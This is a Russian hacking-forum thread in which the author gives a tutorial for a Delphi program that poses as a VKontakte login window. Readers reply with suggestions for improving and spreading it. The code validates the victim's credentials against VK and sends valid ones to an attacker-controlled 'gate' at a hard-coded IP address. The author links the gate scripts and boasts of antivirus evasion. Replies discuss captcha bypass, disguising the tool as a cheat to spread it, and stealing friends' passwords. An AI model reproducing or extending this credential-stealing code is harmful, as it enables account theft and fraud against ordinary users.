Пишем фейк на Дельфи (c проверкой на валидность)

Привет Ачат!
В последнее время заглядывая в торговый раздел форума, частенько вижу что люди продают програмыне фейки, причем пои немалой цене - от 100 руб. Сегодня мы попробуем изготовить программный фейк своими руками "в домашних условиях".

Что нам понадобится:

Итак, начнем.
Для начала разберем ,что будет делать наш фейк:
1) юзер вводит логин и пароль
2) логин и пароль проверяется на валидность.
3) если логин и пароль валидны, то отправляем их нам, иначе сообщаем юзеру что он ввел неправильные данные.

Тут все понятно, но вот куда-же программа будет отсылать валидные логин и пароль? Тут наиболее популярны 2 варианта: отправка на гейт, и отправка на email. Наиболее эфективная и проста отправка на гейт.

Теперь подробно поговорим про сам гейт. Скачать файлы для гейта можно тут http://www.sendspace.com/file/w9y9x2

инструкция по установке гейта: скачиваем и распаковываем архив. Заливаем файлы на хост и для файла base.php ставим права 777.

Написание программы.
ну что-же, заходим в дельфи и создаем новый проект.



Теперь нам нужно оформить фейк. Оформляется он элементарно - с использованием TLabel, TEdit, TImage (ну можно конечно и ползунки, и чекбоксы для красоты)



Теперь нужно написать обработчик для Кнопки "Вход". Название оно у меня носит - Button1

вот он:

Code:

procedure TForm1.Button1Click(Sender: TObject);
begin
     // Создание объектом для авторизации вконтакте - проверки логина и пароля  
     http:=TidHttp.Create(nil);
    cookie:=TidCookieManager.create;
    http.CookieManager:=cookie;
    http.ReadTimeout:=10000;
    param:=TstringList.Create;

      // Пошла авторизация
      param.add('email='+login.text);   //login - edit для ввода логина
      param.add('pass='+pass.text);   // pass - edit для ввода пароля
      param.add('vk=');
      param.add('expire=0');
       try
      res:=http.post('http://login.vk.com/?act=login',param);
       except end;

      s:=copy(res,pos('value', res)+7,56);
      param.Clear;

      param.add('s='+s);
      param.add('op=slogin');
      param.add('redirect=0');
      param.add('expire=0');
      param.add('to=');
      try
      res:=http.post('http://vkontakte.ru/login.php',param);
      except end;
      param.clear;

// Если авторизация прошла удачно, то...
 if pos('id', http.Response.Location)>0 then
      begin
        // Отправляем данные на гейт
        param.add('login='+login.text);
        param.add('passwd='+pass.text);
        try http.post('http://173.224.114.85/log.php', param); // Вместо 173.224.114.85 вводим сайт на котором залит скрипт принятия акков
        except end;
      end
 else ShowMessage('Вы ввели неверные данные, повторите попытку!');

end;

вот и весь код. Изменяем название формы, иконку формы, и компилируем.



Все) данный код не определяется антивирусами как вирус(проверено на virustotal - 1\40)

Это первая статья, надеюсь новичкам будет интересно.
Ваш, MrAkimov

 

Зачем нужна библиотека indy ? Я не силен в delphi )

 

Чтобы Delphi можно было использовать для написания интернет-приложений.

 

ХУЙНЯ!!!
а что будет если каптча?

 

мдааа. И таких "плодунов" с этими фэйками тут уже все стопицот, если не польше. Сколько можно? о_О лучше бы рассказал, как такой интерфейс намутил)) хорошо, что хоть с отправкой на гейт, а не не с эл.почту.

 

походу в невалид кинет).
автор конечно молодец за старание.
но эти фейки это полная ***ня..

 

обоснуй. Норм фейк.

 

я не имел ввиду именно этот( может он и хорош чем то хотя я хз чем),а фейки в целом.

 

может быть лучше добавить модуль с капчей? нежели обсирать труды человека.
загуглил по этому вопросу, сейчас на вконте после 5 -ой попытки выскакиевает капча.. выскакиевает не просто так а без перезагзуки в гл. окне(соот-но ajax юзается), и капча там заливается с http://vkontakte.ru/captcha.php?s=1&sid=188810642504, если же как то парсить такую ссылку в прогу.... мы будем видеть что жэ за капча просится и вводить.
зы если что то неправильно говорю, поправьте

 

дада, это интересно

2dr.Web, зачем же веть текст с картинками квотить?

 

так получилось)

При логине на контакт отправляется запрос, op=a_login_atempt в ответе будет либо айди каптчи либо vklogin либо ещё один из вариантов ответа.

если ответ vklogin то форма отправляется если ответ айди каптчи то показывается каптча. Всё просто.

 

насчет капчи: на моем опыте я убедился, что по такой методике авторизации, капча выскакивает крайне редко. и то при невалидном логине\пароле. то есть если человек введет неверный логин - пароль и вылезет капча .фейк все равно покажет акк как невалид.

модуль капчи я могу добавить, если кому-то интересно

насчет бояна. Такие фейки - не способ зарабатывать акки сотнями или тысячами - они хороши для СИ или просто чтобы узнать пароль друга\подруги.

 

MrAkimov, добавь модуль с капчей, плиз... Давно собрался заняться изучением Delphi вплотную... Вот после прочтения этого топа решил... Буду грызть учебник...

 

может быть расскажешь как грабить тысячами? Вообще с таким фейком касарика два за несколько месяцев реал собрать) главное красиво распространить еще и видио сделать где нить мол я читер нашел дырку вконтакте вот сделал прогу выкладываю на халяву)

 

ты видимо мало работал в этой теме если незнаешь как грабить тысячами.

 

Дааа.. Автор, Расскажи об этом тоже ))

 

J4ever, я риальне не знаю, как он это сделал. скин или чо?

 

WinSock, WinInet?
на крайняк FastInternet?

 

капча выскакивает при невалидной паре, но и выскакивает если он до этого все - таки успешно не авторизовался. думаю модуль капчи так и так нужен, ибо всякие люди бывают, а надеятся на их способности не стоит. иначе палево...

с меня будет +

Или выкладывай настройки, или скин, давай коись как делал? или просто скрин вбабахал откуда - то?

 

Видел когда-то давно этот скин на форуме alpha controls